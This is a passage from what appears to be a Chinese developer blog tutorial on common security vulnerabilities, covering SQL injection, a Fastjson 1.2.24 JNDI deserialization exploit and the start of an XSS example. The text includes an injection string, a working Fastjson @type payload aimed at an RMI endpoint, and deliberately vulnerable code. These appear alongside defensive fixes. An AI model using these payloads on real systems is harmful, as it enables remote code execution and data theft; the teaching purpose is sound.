程序员必备基础:10种常见安全漏洞浅析
前言
我们日常开发中,很多小伙伴容易忽视安全漏洞问题,认为只要正常实现业务逻辑就可以了。其实,安全性才是最重要的。本文将跟大家一起学习常见的安全漏洞问题,希望对大家有帮助哈。如果本文有什么错误的话,希望大家提出哈,感谢感谢~
1. SQL 注入
1.1 什么是SQL注入?
SQL注入是一种代码注入技术,一般被应用于攻击web应用程序。它通过在web应用接口传入一些特殊参数字符,来欺骗应用服务器,执行恶意的SQL命令,以达到非法获取系统信息的目的。它目前是黑客对数据库进行攻击的最常用手段之一。
1.2 SQL注入是如何攻击的?
举个常见的业务场景:在web表单搜索框输入员工名字,然后后台查询出对应名字的员工。
这种场景下,一般都是前端页面把一个名字参数name传到后台,然后后台通过SQL把结果查询出来
name = "田螺"; //前端传过来的
SQL= "select * from staff where name=" + name; //根据前端传过来的name参数,查询数据库员工表staff
因为SQL是直接拼接的,如果我们完全信任前端传的参数的话。假如前端传这么一个参数时'' or '1'='1'
,SQL就变成酱紫的啦。
select * from staff where name='' or '1'='1';
这个SQL会把所有的员工信息全都查出来了,酱紫请求用户已经越权啦。请求者可以获取所有员工的信息,其他用户信息已经暴露了啦。
1.3 如何预防SQL注入问题
1.3.1 使用#{}而不是${}
在MyBatis中,使用#{}
而不是${}
,可以很大程度防止sql注入。
★”
因为 #{}
是一个参数占位符,对于字符串类型,会自动加上"",其他类型不加。由于Mybatis采用预编译,其后的参数不会再进行SQL编译,所以一定程度上防止SQL注入。${}
是一个简单的字符串替换,字符串是什么,就会解析成什么,存在SQL注入风险
1.3.2 不要暴露一些不必要的日志或者安全信息,比如避免直接响应一些sql异常信息。
如果SQL发生异常了,不要把这些信息暴露响应给用户,可以自定义异常进行响应
1.3.3 不相信任何外部输入参数,过滤参数中含有的一些数据库关键词关键词
可以加个参数校验过滤的方法,过滤union,or
等数据库关键词
1.3.4 适当的权限控制
在你查询信息时,先校验下当前用户是否有这个权限。比如说,实现代码的时候,可以让用户多传一个企业Id什么的,或者获取当前用户的session信息等,在查询前,先校验一下当前用户是否是这个企业下的等等,是的话才有这个查询员工的权限。
2. JSON反序列化漏洞——如Fastjson安全漏洞
2.1 什么是JSON序列化,JSON发序列化
序列化:把对象转换为字节序列的过程 反序列:把字节序列恢复为Java对象的过程
Json序列化就是将对象转换成Json格式的字符串,JSON反序列化就是Json串转换成对象
2.2 JSON 反序列化漏洞是如何被攻击?
不安全的反序列化可以导致远程代码执行、重放攻击、注入攻击或特权升级攻击。之前Fastjson频繁爆出安全漏洞,我们现在分析fastjson 1.2.24版本的一个反序列化漏洞吧,这个漏洞比较常见的利用手法就是通过jndi注入的方式实现RCE。
我们先来看fastjson一个反序列化的简单例子:
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
System.out.println("调用了name方法");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
System.out.println("调用了age方法");
this.age = age;
}
public static void main(String[] args) {
String str = "{\"@type\":\"cn.eovie.bean.User\",\"age\":26,\"name\":\"捡田螺的小男孩\"}";
User user = JSON.parseObject(str,User.class);
}
}
运行结果:
调用了age方法
调用了name方法
加了@type
属性就能调用对应对象的setXXX
方法,而@type
表示指定反序列化成某个类。如果我们能够找到一个类,而这个类的某个setXXX
方法中通过我们的精心构造能够完成命令执行,即可达到攻击的目的啦。
★com.sun.rowset.JdbcRowSetImpl 就是类似这么一个类,它有两个set方法,分别是setAutoCommit和setDataSourceName
”
有兴趣的小伙伴,可以看下它的源代码
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
setDataSourceName
简单设置了设置了dataSourceName的值,setAutoCommit
中有connect操作,connect方法中有典型的jndi的lookup
方法调用,参数刚好就是在setDataSourceName
中设置的dataSourceName。
因此,有漏洞的反序列代码实现如下即可:
public class FastjsonTest {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
//JDK 8u121以后版本需要设置改系统变量
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//RMI
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
JSONObject.parseObject(payload2);
}
}
漏洞复现的流程如下哈:
参考的代码来源这里哈,fastjson漏洞代码测试(https://github.com/earayu/fastjson_jndi_poc)
如何解决json反序列化漏洞问题
可以升级版本,比如fastjson后面版本,增强AutoType打开时的安全性 fastjson,增加了AutoType黑名单等等,都是为了应对这些安全漏洞。 反序列化有fastjson、gson、jackson等等类型,可以替换其他类型。 升级+打开safemode
3. XSS 攻击
3.1 什么是XSS?
★XSS 攻击全称跨站脚本攻击(Cross-Site Scripting),这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,因此有人将跨站脚本攻击缩写为XSS。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS攻击一般分三种类型:存储型 、反射型 、DOM型XSS
”
3.2 XSS是如何攻击的?
拿反射型举个例子吧,流程图如下:
我们搞点简单代码样例吧,首先正常html页面如下:
type="text" name="name" />
type="submit" value="搜索" onclick="http://127.0.0.1/search?name=">